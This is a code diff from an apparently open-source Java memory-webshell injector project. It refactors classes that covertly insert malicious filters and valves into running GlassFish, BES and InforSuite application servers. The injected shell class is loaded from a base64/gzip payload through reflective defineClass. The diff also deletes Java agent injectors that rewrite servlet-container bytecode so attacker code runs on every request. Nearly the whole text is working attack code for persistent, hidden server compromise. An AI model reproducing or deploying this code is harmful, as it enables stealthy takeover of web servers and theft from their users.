System.out.println("valve already injected"); List<Object> valvesList = Arrays.asList(valves);
for (Object v : valvesList) {
if (v.getClass().getName().contains(getClassName())) {
return; return;
} }
}
Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve"); Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve");
// com.bes.enterprise.webtier.core.DefaultPipeline // com.bes.enterprise.webtier.core.DefaultPipeline
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
} }
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
@@ -142,7 +178,7 @@ public class BesValveInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -170,4 +206,19 @@ public class BesValveInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -1,219 +0,0 @@
package com.reajason.javaweb.memshell.injector.glassfish;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class GlassFishContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new GlassFishContextValveAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,219 +0,0 @@
package com.reajason.javaweb.memshell.injector.glassfish;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new GlassFishFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -3,25 +3,24 @@ package com.reajason.javaweb.memshell.injector.glassfish;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* Date: 2022/11/01 * @author pen4uin, ReaJason
* Author: pen4uin
* Description: Tomcat Filter 注入器 Tested version jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*
* @author ReaJason
*/ */
public class GlassFishFilterInjector { public class GlassFishFilterInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
@@ -35,26 +34,56 @@ public class GlassFishFilterInjector {
} }
public GlassFishFilterInjector() { public GlassFishFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try { try {
List<Object> contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) { for (Object context : contexts) {
// skip glassfish /osgi context try {
if (getFieldValue(context, "serverContext") != null) { msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
} }
} }
} catch (Exception e) {
e.printStackTrace();
} }
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
} }
/** /**
* com.sun.enterprise.web.WebModule * com.sun.enterprise.web.WebModule
* /xxx/modules/web-glue.jar * /xxx/modules/web-glue.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -79,35 +108,39 @@ public class GlassFishFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object shell) throws Exception { public void inject(Object context, Object shell) throws Exception {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return; return;
} }
Object filterDef; Object filterDef;
Object filterMap; Object filterMap;
Class<?> filterMapClass;
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
try { try {
// tomcat v8+ // tomcat v8+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e2) { } catch (Exception e2) {
// tomcat v5+ // tomcat v5+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
filterMap = filterMapClass.newInstance();
} }
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -118,19 +151,16 @@ public class GlassFishFilterInjector {
} }
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
Constructor<?>[] constructors;
try { try {
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} catch (Exception e) { } catch (Exception e) {
// tomcat v5 // tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} }
try {
// v7.0.0 以上 // addFilterMapFirst
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null);
} catch (Exception e) { filterMaps.add(0, filterMap);
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
Constructor filterConfigConstructor; Constructor filterConfigConstructor;
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
@@ -138,7 +168,11 @@ public class GlassFishFilterInjector {
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef); Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(getClassName(), filterConfig); filterConfigs.put(getClassName(), filterConfig);
System.out.println("filter inject success"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -197,17 +231,51 @@ public class GlassFishFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass(); for (Class<?> clazz = obj.getClass();
while (clazz != Object.class) { clazz != Object.class;
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException ignored) {
clazz = clazz.getSuperclass(); }
return null;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
} }
} }
throw new NoSuchFieldException();
} }
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.glassfish;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -13,17 +14,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class GlassFishValveInjector { public class GlassFishValveInjector {
public GlassFishValveInjector() { private static String msg = "";
try { private static boolean ok = false;
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -33,8 +25,54 @@ public class GlassFishValveInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); public GlassFishValveInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -49,7 +87,7 @@ public class GlassFishValveInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -60,40 +98,38 @@ public class GlassFishValveInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
// OSGI 类加载限制,加密相关函数找不到,这儿不得不使用 WebAppClassLoader
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception { public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null); Object pipeline = invokeMethod(context, "getPipeline", null, null);
if (isInjected(pipeline)) { Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
System.out.println("valve already injected"); List<Object> valvesList = Arrays.asList(valves);
for (Object v : valvesList) {
if (v.getClass().getName().contains(getClassName())) {
return; return;
} }
}
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
System.out.println("valve injected successfully");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object pipeline) throws Exception { public String toString() {
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); return msg;
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(getClassName())) {
return true;
}
}
return false;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -141,7 +177,7 @@ public class GlassFishValveInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -169,4 +205,19 @@ public class GlassFishValveInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,30 +3,21 @@ package com.reajason.javaweb.memshell.injector.inforsuite;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class InforSuiteFilterInjector { public class InforSuiteFilterInjector {
Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
public InforSuiteFilterInjector() { private static String msg = "";
try { private static boolean ok = false;
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
